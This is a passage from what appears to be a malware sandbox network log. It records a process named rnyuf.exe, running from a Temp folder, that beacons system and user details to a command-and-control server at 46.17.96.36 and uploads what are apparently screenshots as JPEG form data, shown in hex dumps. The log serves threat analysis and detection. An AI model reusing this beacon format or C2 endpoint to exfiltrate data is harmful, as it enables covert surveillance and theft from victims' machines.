Aug 29, 2021 22:28:09.381680965 CEST	13841	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:09.381792068 CEST	13847	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:09.416989088 CEST	13850	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:09.417042971 CEST	13858	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:09.525182009 CEST	13917	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.4	49943	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:09.618006945 CEST	13918	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:09.692574978 CEST	13918	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.4	49944	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:09.971520901 CEST	13919	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:09.971620083 CEST	13919	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:09.971946955 CEST	13929	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:09.972073078 CEST	13932	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:10.004002094 CEST	13935	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:10.004048109 CEST	13938	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:10.004069090 CEST	13943	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:10.004273891 CEST	13953	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:10.004365921 CEST	13955	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:10.004553080 CEST	13958	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:10.036284924 CEST	13961	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:10.163239002 CEST	14028	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.4	49945	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:09.974066973 CEST	13932	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:10.073224068 CEST	14013	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.4	49946	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:10.275662899 CEST	14029	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:10.352323055 CEST	14030	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:10.459820032 CEST	14030	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:10.459928036 CEST	14030	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:10.460299969 CEST	14040	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:10.460423946 CEST	14043	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:10.492727995 CEST	14046	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:10.492774963 CEST	14051	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:10.492789030 CEST	14054	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:10.492938042 CEST	14056	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:10.493155956 CEST	14064	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:10.493177891 CEST	14070	OUT	Data Raw: b5 1a 90 b5 c9 78 47 14 e5 4e a2 76 3e 52 ef 5e 95 f0 3d 51 fc 79 2a ba ab 29 b1 93 21 86 47 de 4a f3 5a eb 3e 1e 78 a6 d3 c1 fe 24 7d 4e f2 de 69 e2 36 ef 10 48 b1 92 49 5f 52 38 e0 d7 9d 51 37 06 91 ed 53 69 49 36 7a 94 7e 28 bd be f1 84 70 d8 Data Ascii: xGNv>R^=Qy*)!GJZ>x$}Ni6HI_R8Q7SiI6z~(pI-{d\#8$/exjQUUf 8fg4Rfy^8#TZ#Qu]oIV}+mmkEx[II uH {
Aug 29, 2021 22:28:10.525384903 CEST	14073	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:10.629853010 CEST	14139	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.4	49947	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:10.515578032 CEST	14070	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:10.593533039 CEST	14138	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.4	49948	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:10.819044113 CEST	14140	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:10.897176981 CEST	14140	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:28:18.860821009 CEST	14140	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:18.860914946 CEST	14140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:18.861094952 CEST	14150	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:18.861185074 CEST	14153	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:18.897800922 CEST	14161	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:18.897908926 CEST	14180	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:18.933065891 CEST	14183	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:28:18.933173895 CEST	14217	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:28:18.933358908 CEST	14231	OUT	Data Raw: 4a 33 4c 43 85 3a 98 0d 2e 69 8a c4 82 96 98 0d 38 1a ab 93 61 c2 9d 9a 8c 1a 5c d3 b9 36 24 06 97 35 1e 68 cd 3b 8a c4 bb a8 dd 51 6e a3 75 3e 60 e5 26 0d 46 ea 84 1a 70 34 f9 85 ca 4c 1a 8d de f5 0e 69 73 4f 98 5c a4 bb a8 2d 51 66 8d d4 b9 83 Data Ascii: J3LC:.i8a\6$5h;Qnu>`&Fp4LisO\-QfuPK3Q<uqX~hGK3QyPi2hBhWO\!J)M.j<4`4iiZb$Gp5I(<SZ)A!Z<6E&ii)NKxL-Rh
